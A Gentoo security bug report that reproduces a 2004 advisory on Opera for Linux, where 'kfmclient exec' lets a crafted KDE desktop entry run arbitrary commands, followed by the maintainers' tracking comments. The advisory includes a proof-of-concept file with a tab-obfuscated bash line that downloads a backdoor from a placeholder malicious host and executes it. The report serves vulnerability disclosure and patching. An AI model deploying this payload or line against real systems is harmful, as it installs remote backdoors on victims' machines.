Bug 74321 – net-www/opera Possible execution of remote shell commands with kfmclient

• Product: Gentoo Security
• Status: RESOLVED FIXED

[Description Sune Kloppenborg Jeppesen (RETIRED) 2004-12-13 13:31:11 UTC]

[ZH2004-19SA] Possible execution of remote shell commands in Opera with kfmclient.


  
 12/12/2004
  
 Author: Giovanni Delvecchio
e-mail: [e-mail]

Tested version:
Opera 7.54 linux version with Kde 3.2.3



Problem:
=======
Opera for linux uses "kfmclient exec" as "Default Application" to handle 
saved files.
This could be used by malicious remote users to execute arbitrary shell 
commands on a target system.
Indeed, the command "kfmclient exec" could be used to open a "Kde Desktop Entry" and therefore execute the command within the "Exec=" entry.


Example of [KDE Desktop Entry]:


________________________________


# KDE Config File
[KDE Desktop Entry]
SwallowExec=
SwallowTitle=
BinaryPattern=
MimeType=
Exec="Any arbitrary command"
Icon=
TerminalOptions=
Path=
Type=Application
Terminal=0
______________________________



Possible method of Exploitation
=========================


This method of exploitation needs that a particular file name extension
is used.
If page.Htm is used as file name and "kfmclient exec page.Htm" is opened , the command in "Exec=" entry will be executed.
Instead, If "page.htm" is used as file name, it will not be opened like a "kde desktop entry" but it will be viewed in konqueror.
It works also with Jpg,Gif etc.. , but not with jpg,gif..extension, since 
the "system" is case sensitive.



Attack scenario:


1- A user clicks on a link which requires http://malicious_server/image.Jpg


2- malicious_server responds with an unknown Content-Type field , for 
example Content-Type: image/Jpeg. (note the dot at the end), so Opera will show a dialog window.


3- if a user chooses "Open" to view image.Jpg, it will be opened by 
"kfmclient exec" command, since kfmclient is the "Default Application"


4- Image.Jpg is a kde desktop entry :


--------image.Jpg----------


# KDE Config File
[KDE Desktop Entry]
SwallowExec=
SwallowTitle=
BinaryPattern=
MimeType=
Exec=/bin/bash -c wget\thttp://malicious_site/backdoor;chmod\t777\tbackdoor;./backdoor
Icon=
TerminalOptions=
Path=
Type=Application
Terminal=0


---- end of image.Jpg-------


Note: \t is an horizontal tab.
In this case a backdoor will be downloaded on victim's computer and executed.



Solution:
========
Disable "kfmclient exec" as default application

[Comment 1 Thierry Carrez (RETIRED) 2004-12-14 02:48:28 UTC]

Looks real... but can't confirm as I don't use Opera.

[Comment 2 Thierry Carrez (RETIRED) 2004-12-15 12:16:18 UTC]

*** Bug 74530 has been marked as a duplicate of this bug. ***

[Comment 3 Thierry Carrez (RETIRED) 2004-12-21 06:29:43 UTC]

This is not fixed in 7.54u1.

[Comment 4 Thierry Carrez (RETIRED) 2005-02-11 05:17:27 UTC]

Ready with bug 73871

[Comment 5 Sune Kloppenborg Jeppesen (RETIRED) 2005-02-14 11:40:23 UTC]

GLSA 200502-17